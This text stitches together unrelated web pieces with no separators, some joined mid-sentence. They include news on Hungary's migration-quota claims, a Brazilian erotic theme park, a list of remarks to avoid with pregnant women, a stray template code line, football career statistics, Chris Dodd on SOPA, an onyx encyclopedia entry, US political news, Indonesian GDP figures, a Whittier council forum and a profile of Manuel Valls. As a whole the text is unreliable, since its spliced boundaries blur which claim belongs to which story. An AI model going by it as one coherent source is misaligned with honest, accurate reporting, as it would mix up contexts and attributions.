If we want to stop mass migration, we want to put the brakes on Brussels first Hungarian Prime Minister, Viktor Orben
The bombshell claims were published on a website set up to oppose an EU migrant quota system. According to the Hungarian government there are 900 areas across the EU where "the norms of the host society barely prevail" due to huge levels of migration. The website says: "The mandatory European quotas increase the terrorist risk in Europe and imperils our culture.
Getty Supporters of Mr Orban listen to this national address in March
"Illegal migrants cross the borders unchecked, so we do not know who they are and what their intentions are. We do not know how many of them are disguised as terrorists." Hungarian Prime Minister, Viktor Orban, has refused to participate in the EU's quota plan to relocate 160,000 migrants across the continent and has even built a huge fence to seal off his country. Earlier this year he announced his government will hold a referendum asking people: "Do you want the EU to prescribe the mandatory relocation of non-Hungarian citizens to Hungary without the approval of the Hungarian parliament?" Mr Orban believes that Brussels has no right to redraw Europe's cultural and religious identity and has positioned himself as a defender of European Christendom. In March he said: "If we want to stop mass migration, we want to put the brakes on Brussels first.
Getty Hungary believes that Europe has 900 'no-go' areasErotic sculptures will be dotted around Brazil's sex-themed amusement park in Piracicaba, a city about two hours' outside of São Paulo. Screenshot via softlove.com A sex-themed amusement park planned by entrepreneurs in Brazil is expected to open in 2018, with attractions including an erotic museum, nudist pool, and even a risque version of a ghost train.
ErotikaLand, which describes itself as an "erotic Disneyland" on its website, will open near Piracicaba, a city about two hours' outside of São Paulo. It will cost R $80 million (£15.5 million, or $22.5 million) to build, The New York Times reports.
Like other amusement parks, ErotikaLand will have access to a water slide, a maze, and a Ferris wheel, albeit one with hidden booths designed with a special material that will offer the people inside views of the outside as well as total privacy.
It also promises visitors — who must be over 18 and pay $100 (£69) for admission — access to erotic games, a sex shop, and a 7-D cinema that gives viewers an immersive film experience complete with varying temperatures and vibrations.
The park serves an educational purpose as well, with staff encouraging parkgoers to practice safe sex and use condoms, and an erotic museum dedicated to the history of sexuality, The New York Times reports.
Here's what ErotikaLand could look like:
The park will include a nudist pool and an erotic museum with a permanent collection of erotic art. Screenshot via softlove.com
Though the project describes itself as "a liberal park where you can do everything," it adds that all activity must remain "within the law and with strict control of safety" on its website. There's no sex allowed on the premises, either.
"This won't be a place for nuns, but it's not like we're trying to recreate Sodom and Gomorrah," Mauro Morata, who is leading the project with his business partner Paulo Meireilles, told The New York Times. "If attendees want to take things to another level, they can go to a nearby motel — which we will operate."
While officials in the nearby cities of Piracicaba and São Pedro have attempted to stop ErotikaLand, Mauro told the newspaper that he is still looking for "an acceptable site" for the park.We’ve all experienced a foot-in-mouth conversation. Whether we’re on the receiving end or the giving end of a cringe-worthy comment, though, it’s unpleasant for everyone involved.
You may say that pregnant women are more susceptible to hearing things that make their eyes go wide, blood pressure soar and/or set them off on an emotionally-driven “Oh no you didn’t!” response. Sometimes it’s a stranger who offends, other times it’s a close friend, family member or — Lord, help him — the gentlemen who’s partially responsible for the percolating babe.
We here at PregnancyCorner.com pride ourselves in helping pregnant women through the taxing emotional and physical gestation journey. Today, though, we’re helping out those who either know — or come into contact — with pregnant women regularly. If you’re a pregnant woman reading this, we highly recommend forwarding this one on.
Without further ado: 20 things you should never, ever, ever say to a pregnant woman.
20. “Are you sure you’re not having twins?”
Why You Shouldn’t Say It: Commenting on anyone’s size is a major no-no. Just because a woman’s pregnant does not make it OK to remark on her body.
19. “You’re going to breast feed/bottle feed, right?”
Why You Shouldn’t Say It: The way a mom wants to feed her newborn is completely up to her. Whether she chooses to breast feed or use a formula is her business and hers alone. It’s best to steer away from this topic completely unless she brings it up. If the topic arises, subscribe to a “listen instead of lecture” mentality.
18. “You really shouldn’t be eating that/drinking that/doing that.”
Why You Shouldn’t Say It: Ultimately, what a pregnant woman decides to eat, drink or do is between her and her physician. You can bet that she’s had extensive talks with her OBGYN regarding what’s OK and what isn’t, so keep your comments to yourself.
17. “I did X, Y and Z in my pregnancy and I think you should, too.”
Why You Shouldn’t Say It: You may have given birth without the assistance of an epidural. You may have worked out every day for 30 minutes up until contractions started. You may have chosen a midwife and home birth over a hospital. That’s great, but unless she’s asking for you to share your experiences and recommendations, don’t give unsolicited advice.
16. “Make sure you sleep/go out/enjoy life while you can!”
Why You Shouldn’t Say It: This statement implies that a pregnant momma won’t have any kind of a life — or sleep ever again — just because she’s delivered her baby. Newsflash: parents can have a life, too! Sure, their sleeping schedules may be wonky for a while and priorities change. That said, it’s not like every single drop of fun will cease just because there’s a baby involved. If anything, having that baby makes life even more enjoyable.
15. “It’s too bad you have to go back to work right away.” Or, “It’s too bad you’re giving up your career to stay at home.”
Why You Shouldn’t Say It: Deciding on the appropriate maternity leave time — and whether or not to commit to the role of stay-at-home parent — is a very personal choice that pregnant women give a lot of thought to. In other words, they’ve already made their decision and it was based on a list of factors that affect them personally, so your input on the matter is unhelpful and can even be hurtful. Women struggle a lot with the topic of career vs. family and, as a result, feel guilt no matter what they decide. Be supportive and don’t lecture.
14. “That’s a bummer about your stretch marks/swollen feet/hair loss/acne/excess weight gain.”
Why You Shouldn’t Say It: Never comment on another person’s body woefully — even if she’s pregnant. Those remarks sting and linger.
13. “Are you sure you’re able to do that?”
Why You Shouldn’t Say It: Again, she’s had a lot of talks with her OBGYN and is familiar what her body can and cannot do. If she looks like she’s struggling with something (grocery bags, lifting something, etc.), by all means offer to help. Just don’t assume she cannot do it. Nobody likes to feel disabled.
12. “Aren’t you too young/too old to have a child?”
Why You Shouldn’t Say It: Look, the baby’s coming no matter what, so there’s no sense in remarking on a woman’s age while pregnant. This is her decision and whatever comments you make will not change a thing. They’ll only hurt her feelings or anger her.
11. “Whoa! You’ve gained so much weight! Is that healthy?”
Why You Shouldn’t Say It: Just don’t comment on a person’s weight. Even if she gained too much weight, that is a conversation topic exclusively reserved for her OBGYN. Unless you’re a trained physician, just don’t go there.
10. “You should really put on a little more weight. You’re too thin for a pregnant woman.”
Why You Shouldn’t Say It: The same explanation above also applies here. You are not an authority on appropriate pregnancy weight, so don’t comment on hers.
9. “Was your pregnancy a surprise or planned?”
Why You Shouldn’t Say It: This is definitely a taboo subject. Unless you want to embarrass yourself and the pregnant woman, don’t broach the topic. She can offer that information up on her own, but otherwise that’s a fact reserved for her and the baby’s father.
8. “Can I feel your belly?”
Why You Shouldn’t Say It: Props if you ask first, but many pregnant women aren’t fond of fondles. If you’re close to her (say, a dear friend, family member or spouse), that’s one thing. If you’re a stranger, though, it’s best to not ask.
7. “You are definitely hormonal right now…”
Why You Shouldn’t Say It: Unless you want an evil glare or the cold shoulder, don’t make a peep about her hormone levels. This is akin to saying, “You must be PMS-ing!” which never bodes well for the commenter. Sure, her hormones may be out of whack, but commenting on them isn’t going to help.
6. “I don’t know how you’re going to make it through the summer/winter/etc.”
Why You Shouldn’t Say It: She’s pretty familiar with the seasons and is aware that being pregnant during the hot summer or icy winter isn’t ideal. This isn’t the worst thing you could say to a pregnant woman, but there’s no need to remind her of Mother Nature’s fury.
5. “Just wait” or “It’s just starting…”
Why You Shouldn’t Say It: Just because you were feeling a certain way during your pregnancy, doesn’t mean other pregnant women will experience those things too. This is also a statement you should avoid saying to a first-time mom – a person who is typically feeling high anxiety, stress, and overwhelming fear about what’s to come. If a pregnant lady says, “my back hurts” or “my feet are swollen,” do not come back at her with a statement such as, “oh just wait! You’re only in your first trimester. You haven’t felt pain yet.” Instead, try to be more understanding. In fact, a simple head nod will let her know you understand and sympathize with how she is feeling. This may also be a good time to offer your services, such as a 5 minute foot massage. Trust me, a 5 minute foot massage will go a long way
4. “No baby yet?”
Why You Shouldn’t Say It: If a pregnant woman is approaching or past her due date, do not ask her if there’s a baby yet – especially if she’s noticeably still pregnant. She’s more frustrated than anyone that her baby has yet to arrive, and the last thing she needs is a reminder that she’s still pregnant. At the end of the gestation period, most women will do their best to enjoy their last few days and weeks of pregnancy, but let’s face it: it’s hard to be 8-9 months pregnant. It’s painful, tiring, and emotionally difficult. Not to mention the fact that most women at the end of their pregnancy are sleep-deprived.
3. “Are you done yet?”
Why You Shouldn’t Say It: If you’re referring to our saying above aka she’s still pregnant, then please re-read it. If you ask a pregnant woman if she’s done yet while she’s venting, eating, or doing anything for an extended period of time – leave her be. Be more supportive. If she’s venting about things that are ridiculous to you, then pretend you care for as long as she needs to vent. If you think she’s eating too much (she is eating for two, hello?!), asked to be excused from the table. Never come between her and her food.
2. “Where are you giving birth?”
Why You Shouldn’t Say It: Honestly, this is none of your business. It’s no one’s business except who the mom-to-be thinks should know. And just as importantly, if you are going to ask this question, do not do it on social media. This opens the door for any and everyone to know where her baby is going to be birthed, and she may feel forcefully compelled to tell you simply because you asked. Believe it or not, this is a hot topic too. Lots of people believe you should give birth in a hospital no matter what, while others feel it would be best to bring their baby into the world at home, or in a birthing center.
One mother said, “people made me feel like I wasn’t doing the best for him because I wasn’t going to the “best” hospital. I had to hear, “they will lifeflight him to St. Joes” if something is wrong. Also, I had to hear their experiences which was irritating and sometimes frustrating because it didn’t help to hear a list of bad things right before I gave birth.”
1. “Did you get pregnant before or after the wedding?”
Why You Shouldn’t Say It: Does it really matter when the baby was conceived? Is that the most important issue at hand here? Babies happen. And it’s no one’s business when or how that miracle came about. And for pete’s sake – just don’t go there! If you aren’t close enough to her to know, then it’s probably best if you leave it that way.
Are You Pregnant?
Did some of these things leave you boiling? Been there… done that? Well, don’t worry. Now that we’ve talked about what people shouldn’t be saying to a pregnant woman, let’s go over some clever comebacks that are perfectly acceptable, and tailored to you – the momma to be.{% set baseFontFamily = "Open Sans" %} /* Add the font family you wish to use. You may need to import it above. */
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0 7 0 — — — — 37 0 1998–99 31 1 2 0 — — — — 33 1 1999–00 27 1 4 0 6 0 1 0 38 1 2000–01 31 1 4 0 14 0 — — 49 1 2001–02 15 0 — — 4 0 — — 19 0 2002–03 29 2 1 0 19 0 — — 49 2 2003–04 30 0 — — 9 0 3 0 42 0 2004–05 33 0 — — 13 1 1 0 47 1 2005–06 14 2 — — 9 0 — — 23 2 2006–07 18 1 — — 9 0 — — 27 1 2007–08 17 1 — — 4 0 2 0 23 1 2008–09 30 0 — — 2 0 — — 32 0 Career total 647 29 72 1 161 3 22 0 902 33
^ European competitions include the UEFA Champions League and UEFA Cup
^ Other tournaments include the Supercoppa Italiana, UEFA Super Cup, Intercontinental Cup and FIFA Club World Cup
^ Play-off for UEFA Cup admission
International [ edit ]
[56][134]
Italy national team Year Apps Goals 1988 10 0 1989 7 0 1990 11 0 1991 8 0 1992 7 0 1993 5 2 1994 12 0 1995 7 1 1996 7 0 1997 11 2 1998 11 1 1999 7 1 2000 11 0 2001 7 0 2002 5 0 Total 126 7
International goals [ edit ]
[56]
Scores and results list Italy's goal tally first.
Honours [ edit ]
Club [ edit ]
Milan[1][11][21][135][136]
International [ edit ]
Italy[137]
Individual [ edit ]
Records [ edit ]
Orders [ edit ]
Notes [ edit ]Former Sen. Christopher Dodd, now chairman of the Motion Picture Association of America, said the Stop Online Piracy Act and Protect IP Act aren't going to be floated again in Congress.
"My own view, that legislation is gone. It's over. It's not coming back," Dodd told Wired in an interview after an appearance at San Francisco's Commonwealth Club Tuesday night.
Still, he said the massive protest against the measures, which included online petitions and massive e-mail campaigns, "was over the top."
SOPA, the more draconian of the two failed bills, would have required ISPs to prevent Americans from visiting blacklisted sites by altering the system known as DNS that turns site names like Google.com into IP addresses such as 174.35.23.56. Instead, for the blacklisted sites, ISPs would have had to lie to their customers and tell their browsers that the site doesn't exist – a feature online security experts said would leave the internet insecure.
During the post-talk interview, Dodd also spoke of the anti-piracy cooperation from the nation's major internet service providers, which have agreed to disrupt internet access for online copyright scofflaws.
After an internet subscriber's fourth copyright offense, the historic plan calls for these companies to initiate so-called "mitigation measures" that might include reducing internet speeds and redirecting a subscriber's service to a landing page about infringement.
The internet companies may eliminate service altogether for repeat file-sharing offenders, although the plan does not directly call for such drastic action.
The plan, pushed by the MPAA and the Recording Industry Association of America, is expected to begin by year's end. He labeled the deal largely "educational."
He said no backdoors would be installed in the internet's backbone to detect copyright scofflaws. Instead, because of the public nature of BitTorrent file sharing, peer-to-peer users' IP addresses are often exposed in the process, allowing private companies to capture them and forward them to the appropriate internet service providers.
"It's P-to-P," Dodd said when asked about backdoors. He said he was concerned about the possibility of backdoors until he was briefed on how the program works.
He also praised the UltraViolet initiative, backed by many of the motion picture studios. It's a DRM platform granting movie buffs the ability to store their content in the cloud, once they have registered their name and birthdate. They can then watch their purchased movies on a wide range of approved devices. It's the latest entertainment industry attempt to create an environment that both locks down content to prevent piracy, while trying to keep some convenience for users.
"It's exciting," Dodd said.
As for a legislative solution, that's no longer an option as Dodd and the MPAA's attempt to ram bills through a Congress elected thanks in part to hefty donations from Hollywood were stymied by a grassroots coalition of internet users.
"These bills are dead. They are not coming back," Dodd said on stage at Commonwealth Club. He served 30 years as a Democratic senator from Connecticut, so he's obviously in the know.
He said he has never seen a bigger protest to proposed legislation, which was killed in January after a huge online protest and internet blackout amid fears the anti-piracy legislation went too far in fighting online copyright and trademark infringement.
Many have feared the legislation would raise its ugly head again.
"I think it changed forever how people are going to address their elected representatives," he said to a radio and 200-member live audience. Moments later, he said, "It was a transformative event."
Dodd, who took the MPAA's helm more than a year ago, said the MPAA is instead seeking cooperation with Silicon Valley to help reduce piracy.
"I think all of us agree," he said, "that it's fundamentally wrong to steal the genius of someone's creations."
He lauded Google for its August unveiling of altering its algorithm to lower search rankings of sites with high numbers of copyright-infringement removal notices, "which I applaud," he said. Google has been striking deals with content providers in order to sell and rent movies, tv shows and books to Android users – though many of those companies have long considered Google's stance on copyright to be a serious danger to their business models.
"That's exactly the type of efforts we need," he said during his 70-minute discussion, led by California Lt. Gov. Gavin Newsom. "It didn't require a law to pass. Getting that type of cooperation is important."
"You're saying you're not interested in a legislative solution?" Newsom asked.
"Absolutely," Dodd replied.
Nearing his retirement from the Senate in January last year, he said, Hollywood approached him to replace the retiring Dan Glickman, also a former politician.
"The industry came and asked me to get involved," he said.
Federal conflict-of-interest rules prevent him from lobbying his colleagues for two years from the day he left the Senate, he said.
"There are moments," he said, "when I wished it were 10."Banded variety of the mineral chalcedony
This article is about the mineral. For the Pokémon with a similar name, see Onix (Pokémon). For other uses, see Onyx (disambiguation)
"Black Onyx" redirects here. For the 1984 video game, see The Black Onyx
Onyx primarily refers to the parallel banded variety of the silicate mineral chalcedony. Agate and onyx are both varieties of layered chalcedony that differ only in the form of the bands: agate has curved bands and onyx has parallel bands. The colors of its bands range from white to almost every color. Commonly, specimens of onyx contain bands of black and/or white.[3] Onyx, as a descriptive term, has also been applied to parallel banded varieties of alabaster, marble, obsidian and opal, and misleadingly to materials with contorted banding, such as "Cave Onyx" and "Mexican Onyx".[4][5]
Etymology [ edit ]
Onyx comes through Latin (of the same spelling), from the Greek ὄνυξ, meaning "claw" or "fingernail". Onyx with flesh-colored and white bands can sometimes resemble a fingernail. The English word "nail" is cognate with the Greek word.[6]
Varieties [ edit ]
Red onyx
Black onyx with bands of colors
Onyx is formed of bands of chalcedony in alternating colors. It is cryptocrystalline, consisting of fine intergrowths of the silica minerals quartz and moganite. Its bands are parallel to one another, as opposed to the more chaotic banding that often occurs in agates.[7]
Sardonyx is a variant in which the colored bands are sard (shades of red) rather than black. Black onyx is perhaps the most famous variety, but is not as common as onyx with colored bands. Artificial treatments have been used since ancient times to produce both the black color in "black onyx" and the reds and yellows in sardonyx. Most "black onyx" on the market is artificially colored.[8][9]
Imitations and treatments [ edit ]
The name has also commonly been used to label other banded materials, such as banded calcite found in Mexico, India, and other places, and often carved, polished and sold. This material is much softer than true onyx, and much more readily available. The majority of carved items sold as "onyx" today are this carbonate material.[1][10]
Artificial onyx types have also been produced from common chalcedony and plain agates. The first-century naturalist Pliny the Elder described these techniques being used in Roman times.[11] Treatments for producing black and other colors include soaking or boiling chalcedony in sugar solutions, then treating with sulfuric or hydrochloric acid to carbonize sugars which had been absorbed into the top layers of the stone.[9][12] These techniques are still used, as well as other dyeing treatments, and most so-called "black onyx" sold is artificially treated.[13] In addition to dye treatments, heating and treatment with nitric acid have been used to lighten or eliminate undesirable colors.[9]
Geographic occurrence [ edit ]
Onyx is a gemstone found in various regions of the world including Yemen, Uruguay, Argentina, Australia, Brazil, Canada, China, Czech Republic, Germany, India, Indonesia, Madagascar, Latin America, the UK, and various states in the US.[1]
Historic use [ edit ]
It has a long history of use for hardstone carving and jewelry, where it is usually cut as a cabochon or into beads. It has also been used for intaglio and hardstone cameo engraved gems, where the bands make the image contrast with the ground.[14] Some onyx is natural but much of the material in commerce is produced by the staining of agate.[15]
Onyx was used in Egypt as early as the Second Dynasty to make bowls and other pottery items.[16] Use of sardonyx appears in the art of Minoan Crete, notably from the archaeological recoveries at Knossos.[17]
Brazilian green onyx was often used as plinths for art deco sculptures created in the 1920s and 1930s. The German sculptor Ferdinand Preiss used Brazilian green onyx for the base on the majority of his chryselephantine sculptures.[18] Green onyx was also used for trays and pin dishes – produced mainly in Austria – often with small bronze animals or figures attached.[19]
Onyx is mentioned in the Bible many times.[20] Sardonyx (onyx in which white layers alternate with sard) is mentioned in the Bible as well.[21]
Onyx was known to the Ancient Greeks and Romans.[22] The first-century naturalist Pliny the Elder described both type of onyx and various artificial treatment techniques in his Naturalis Historia.[11]
Slabs of onyx (from the Atlas Mountains) were famously used by Mies van der Rohe in Villa Tugendhat at Brno (completed 1930) to create a shimmering semi-translucent interior wall.[23][24]
The Hôtel de la Païva in Paris is noted for its yellow onyx décor, and the new Mariinsky Theatre Second Stage in St.Petersburg uses yellow onyx in the lobby.
Superstitions [ edit ]
The ancient Romans entered battle carrying amulets of sardonyx engraved with Mars, the god of war. This was believed to bestow courage in battle. In Renaissance Europe, wearing sardonyx was believed to bestow eloquence.[25] A traditional Persian belief is that it helped with epilepsy.[26] Sardonyx was traditionally used by English midwives to ease childbirth by laying it between the breasts of the mother.[27]
See also [ edit ]
List of minerals – A list of minerals for which there are articles on Wikipedia
References [ edit ]Rep. Randy Neugebauer confessed to shouting 'baby killer' on the House floor Sunday during Rep. Bart Stupak's speech. | John Shinkle/POLITICO Neugebauer: I yelled 'baby killer'
Texas Republican Rep. Randy Neugebauer was the mysterious lawmaker who shouted “baby killer” during Rep. Bart Stupak’s (D-Mich.) floor speech Sunday night, his office said Monday.
Rumors that Neugebauer was the yeller began swirling Sunday night, after several lawmaker surmised that the scream was tinted with a southern accent.
Story Continued Below
“Last night was the climax of weeks and months of debate on a health care bill that my constituents fear and do not support,” Neugebauer said in a news release. “In the heat and emotion of the debate, I exclaimed the phrase ‘it’s a baby killer’ in reference to the agreement reached by the Democratic leadership. While I remain heartbroken over the passage of this bill and the tragic consequences it will have for the unborn, I deeply regret that my actions were mistakenly interpreted as a direct reference to Congressman Stupak himself.”
House Majority Whip Jim Clyburn, lashing out at Republican bad behavior after a photo opportunity Monday afternoon in the Capitol, said apologizing to Stupak alone is not enough. Clyburn thinks he should apologize to the full Congress House for disgracing the institution during a formal session.
“He needs to go to the well. He disrupted the decorum of the House of Representatives,” Clyburn said.
Neuegebauer’s scream was only part of Sunday’s mayhem in the Capitol. Tea party protesters screamed outside the Capitol, Republicans applauded when a man was carried out of the House gallery and then there was Neugebauer’s scream.
The latest incidents follow the outburst last September by Rep. Joe Wilson (R-S.C.) when President Barack Obama addressed a joint session of Congress.
Neugebauer represents one of the most conservative districts in America – an area that stretches from the New Mexico border in the west to the central part of the state. He is in his third full term.
Perhaps most notably, Neugebauer was a co-sponsor to a March 2009 House resolution that would’ve required presidential candidates to provide a copy of their birth certificate.
“I have apologized to Mr. Stupak and also apologize to my colleagues for the manner in which I expressed my disappointment about the bill,” he said in a statement. “The House Chamber is a place of decorum and respect. The timing and tone of my comment last night was inappropriate."
Clyburn also called on each of the more than a dozen Republican members who applauded the heckler in the gallery earlier in the day Sunday to apologize to the full House from the area where members speak.
“I do believe that this stuff is escalating,” Clyburn told reporters. “The Joe Wilson stuff was not sufficiently dealt with. He never apologized to the president. He never went to the well to apologize.”
The House passed a Resolution of Disapproval to reprimand Wilson after he made headlines with his exclamation of “You lie.”
House Majority Leader Steny Hoyer (D-Md.) offered a muted response.
“He’s apologized,” Hoyer said of Neugebauer. “I don’t think further action is needed.”US President Donald Trump warns action against North Korea amid escalating tensions
Washington : US President Donald Trump warned North Korea on Tuesday that he would respond to any threats "with fire and fury like the world has never seen," following reports that Pyongyang has developed miniaturized nuclear warheads that can be mounted on a ballistic missile.
"North Korea best not make any more threats to the United States. They will be met with fire and fury like the world has never seen," Trump said to reporters at the Trump National Golf Club in Bedminster, New Jersey, Efe reported.
"He has been very threatening, beyond a normal statement," Trump said regarding North Korean leader Kim Jong-un. "As I said they will be met with fire, fury and frankly power, the likes of which this world has never seen before."
Also Read:US President Donald Trump calls for tough, decisive response to North Korea threat
Trump did not elaborate on his point and made no other specific remarks, but his comments come shortly after the daily Washington Post reported data from a new report by the US Defense Intelligence Agency about North Korea.
According to this DIA report, which was finalized last month, North Korea has managed to produce a miniaturized nuclear warhead that can be placed onto one of its ballistic missiles.
The document obtained by the Washington daily said that the intelligence community found that North Korea has produced nuclear arms that it can deliver many thousands of miles via ICBMs.
Also Read: US military detects 'highly unusual' North Korean submarine activity
In addition, Pyongyang on Tuesday threatened to take serious action following the imposition of sanctions last Saturday by the UN Security Council, a measure North Korea called "illegal" and a "terrorist act."
The UN sanctions come in response to the first intercontinental ballistic missile test in North Korea's history on July 4, a test that was a milestone and was followed by the launching of a second ICBM on July 28.Whoopi Goldberg believes that she is more qualified to be president than Donald Trump.
On Monday’s episode of “The View,” Jedediah Bila told Goldberg that there are people “clamoring” for her to run for president because she “talks common sense.”
“Here’s the difference,” Goldberg said. “When I speak, at least you know that I’ve actually looked stuff up, so people think that I might be more aware. People know that I’ve had a wide variety of lives, so they think I might know some stuff.” (RELATED: Whoopi Goldberg: Celebrating Christmas And Getting An Abortion Is The Same Thing)
“But when you have someone who doesn’t seem to do the homework, who doesn’t seem to have any idea how things actually run — when you bring up Hillary, I can only think to myself she may not have been the best candidate for people, but I know she knew what she was doing.”
WATCH:
When Bila said she didn’t agree that Clinton was qualified because she used a private email server when she was secretary of state, Goldberg said she “didn’t do her homework.”
“She wasn’t hacked — everybody else was,” Goldberg said. “That’s all I’m saying.”Indonesia surprised with its strongest growth in 10 quarters in April-June, spurring some economists to predict it will outperform most Southeast Asian nations the rest of this year.
However, others cautioned that Indonesia needs more private investment to sustainably raise its growth rate, as a widening budget deficit means government spending – which helped lift annual growth to 5.18% in the second quarter – has to be contained.
The annual growth rate for April-June, announced on Friday, was the highest since the last quarter of 2013, nearly a year before Joko Widodo became president. A Reuters poll predicted 5%.
The new number “foreshadows what we expect to be Indonesia’s ascent to be one of the outperforming economies in ASEAN,” ANZ wrote.
Wellian Wiranto of OCBC in Singapore called Indonesia a “momentum play,” saying the data “adds oomph to positive sentiment” about Indonesia.
The Jakarta stock exchange benchmark, up 18% this year, rose 0.5% after the gross domestic product data.
See also: The Bank of England Just Cut Interest Rates for the First Time Since 2009
One reason markets have been upbeat is Widodo’s recent cabinet reshuffle that saw Sri Mulyani Indrawati, a widely-respected reformer, leave the World Bank after six years and return to being finance minister.
ANZ said the reshuffle “suggests a cementing of the reform agenda.”
DENTED EXPORT EARNINGS
The statistics bureau credited the second quarter’s growth on higher commodity prices and government spending, solid consumption, and better crops.
Low global commodity prices have hurt Indonesia for years, denting export earnings, investment, state revenue and purchasing power. It was the main reason growth slowed to six-year low in 2015 to 4.8%. The economy had annual growth of 4.91% in January-March.
Household consumption, representing more than half of the country’s GDP, gained in the second quarter as people spent more money at the start of the Muslim fasting month, which this year began in June.
Gundy Cahyadi, DBS economist, said strong consumption should support growth but Indonesia needs more investment to sustain a solid pace.
He warned that the state’s contribution to growth may fall in the second half as “the pace of spending may actually ease… as the government will attempt to keep fiscal deficit in check.”
Indrawati announced on Wednesday the government will trim spending by 133.8 trillion rupiah ($10.20 billion) to make sure the budget deficit does not breach the legal limit of 3% of GDP.
TAX AMNESTY
To aid state finances and try to bring home billions of dollars Indonesians have overseas, the government last month launched a tax amnesty program.
The amnesty could provide “an additional filip to growth,” said Michael Wan, economist with Credit Suisse, which expressed a “positive view” of the Indonesian economy.
After Friday’s data, RBS upgraded its outlook for Indonesia growth this year to 5.1% from 4.9%.
See also: Indonesia’s Tax Amnesty Will Likely Form ‘a Bad Dent’ in Singapore
For more on Indonesia, watch this Fortune video:
Not everyone thinks Indonesia is poised to much stronger growth in future, let alone reach the 7% target Widodo promised during his campaign.
“While we think the worst for Indonesia’s economy is now over, a combination of fiscal tightening and low commodity prices will keep growth stuck at around 5% over the next couple of years,” Capital Economics said.
Widodo has announced a series of reforms to improve the investment climate and the central bank has cut the benchmark four times this year totaling 100 basis points. Some analysts expect another cut this year.
Prior to Friday’s data, the central bank forecast GDP growth of 5.09% this year. The government’s target is 5.2%.WHITTIER >> The audience at Wednesday’s Whittier Chamber of Commerce candidate’s forum broke into laughter and applause at one candidate’s response to a question about people feeling uncomfortable walking in Uptown and what should be done.
“I didn’t know it was uncomfortable,” said first-time candidate Brian W. Ahern, one of four men running in the April 8 election for two open seats on the Whittier City Council.
“It’s not Beverly Hills,” he said, sensing the moment. “It could be cleaned up.”
Uptown is “pretty safe,” he said, adding that he didn’t know how to change the public’s perception.
It was the second candidates forum in three days, and one issue that all the candidates agreed on was that Uptown Whittier needs improvement. They disagreed on how to accomplish the job.
Nick Donovan, running for a second time, said he’s stood in the doorsteps with Uptown business owners and seen their storefront windows etched with graffiti. They have to replace windows every three months, he said, asking whether that’s a fair business expense.
He said police or cadets should be on the streets.
Mayor Bob Henderson, running for a seventh consecutive term, said he and his wife feel safe walking the streets of Uptown. The city must be sure future businesses in the Nelles project are complimentary to Uptown, not competitive. He also said the businesses have to take some responsibility for solving Uptown’s problems. He also noted that new gourmet restaurants are opening in Uptown because “they wanted to come here.”
Fernando Dutra, who was appointed to the council in August 2012 and is running for election for the first time, had misgivings about introducing a large police presence in Uptown, saying it signals something wrong to visitors.
“We just appropriated $12 million towards Uptown,” he said.
The money will go toward replacing sidewalks, lights and building a new parking structure “so we can actually build more homes and change the face of Uptown Whittier,” he said. “It’s going to start happening within the next year. It isn’t just pie in the sky stuff.”
Ahern said he’s running for council to represent residents who have limited funds. He decided to run after the city passed water and sewer rate hikes despite the protests of many residents.
“The community is facing financial problems, infrastructure failure, and their answer is ‘well, we need money,’” he said.
“A councilman should be responsive to residents,” he said. “That’s what I plan to do.”
For the second time in three days, Henderson and Dutra defended the work the council has done and the state of the city.
Henderson said the city took the precaution of building up its rainy day fund, which saw it through the recession.
“The city continues to provide services and takes care of its citizens,” he said. “We have wonderful amenities that people have moved here for, and that’s our job on the City Council. And that’s what we do every single day. We make it work.
Dutra said big things are on the horizon for Whittier with its plans to redevelop the former Nelles Youth Correctional Facility and secure a Washington Boulevard light-rail line route.
“I’m excited about the future of this city,” he said. “We have a major development coming to the city of Whittier called Nelles. That’s a big deal for any city in Southern California.”
Donovan continued his attack on the job City Council is doing.
“I have no motive other than to see that the best interests of this city is realized for every citizen of this community,” he said, noting that the city has low voter turnout and is facing a lawsuit by Latino residents who claim they’re underrepresented.
“I think we should move forward,” he said. “We need people that are living in the real world. We need people like myself and others who deal with bigger-picture issues,” he said.
He said one reason City Council may be fighting the lawsuit is they like things the way they are.
“I don’t like things as they are,” Donovan said.
The forum was conducted at the Whittier Masonic Lodge.The French Socialist Party was spared the unheard-of proposition of an incumbent president and prime minister both running for election as the candidate for the French presidency 2017 when Francois Hollande stood down, December 1.
Until that point, the Socialists looked unlikely to make any impact on the race for presidency, owing to the massive unpopularity of Hollande — the worst personal poll ratings in the history of the Fifth Republic — as deep resentment over his failure to turn round the economy.
His prime minister, Manuel Valls, had hinted that he might stand for the presidential candidacy in the Socialists primaries, January 2017, which would have meant Hollande outing himself forward in a contest against his own PM — a political taboo.
In the end, Hollande stood aside and Valls is set, Monday (December 5) to officially stand, with the latest Ifop poll for newspaper Journal du Dimanche showing 45 percent backing his stance, against 25 percent for the left-winger and former Economy Minister Arnaud Montebourg.
Valls climbed steadily up the Socialists ladder, after becoming a member at the age of 17, working his way up through the ranks to become head of the Socialist Party in Argenteuil-Bezons, in the Île-de-France region, which includes Paris. After spells as Secretary of Communications for the national Socialist Party and other responsibilities for communications and media relations for the Prime Minister's Cabinet, in 1998, he was elected vice president of the regional Council for the Île-de-France.
© REUTERS / Regis Duvignau French Prime Minister Manuel Valls speaks during the questions to the government session at the National Assembly in Paris, France, July 6, 2016
He stood against Hollande in the 2012 primaries for the presidency, lost and then endorsed Hollande, who eventually rewarded him by appointing him prime minister. Few doubted Valls was always a potential candidate for the presidency.
La décision du Président Hollande est celle d'un homme d'État. Un choix mûrement réfléchi. Un choix qui force le respect par sa dignité. pic.twitter.com/c7lFogSa5s — Manuel Valls (@manuelvalls) 2 December 2016
[Twitter: "The decision of President Hollande is that of a statesman. A carefully considered choice. A choice that begs respect through his dignity."]
'Rather Right-Wing'
Gino Raymond, Professor of Modern French Studies at the University of Bristol, UK, told Sputnik that — following the pullout of Hollande — Valls' path is clear for the Socialists primary.
"He will be a rallying point for people in the party. The difficulty for Valls is that many people in the Socialists party — certainly the traditional socialists — see him as rather a right-wing kind of socialist. He was very tough on security, very tough on Laïcité —secularism."
© AP Photo / Francois Mori People boo French prime minister Manuel Valls, center, and Health Minister Marisol Touraine, left, after a minute of silence on the famed Promenade des Anglais in Nice, southern France, to honor the victims of an attack near the area where a truck mowed through revelers, Monday, July 18, 2016.
"He made some very tough statements about the need for integration. So there will be some difficulty, I think, for members of the Socialist party to rally round him," Raymond told Sputnik.
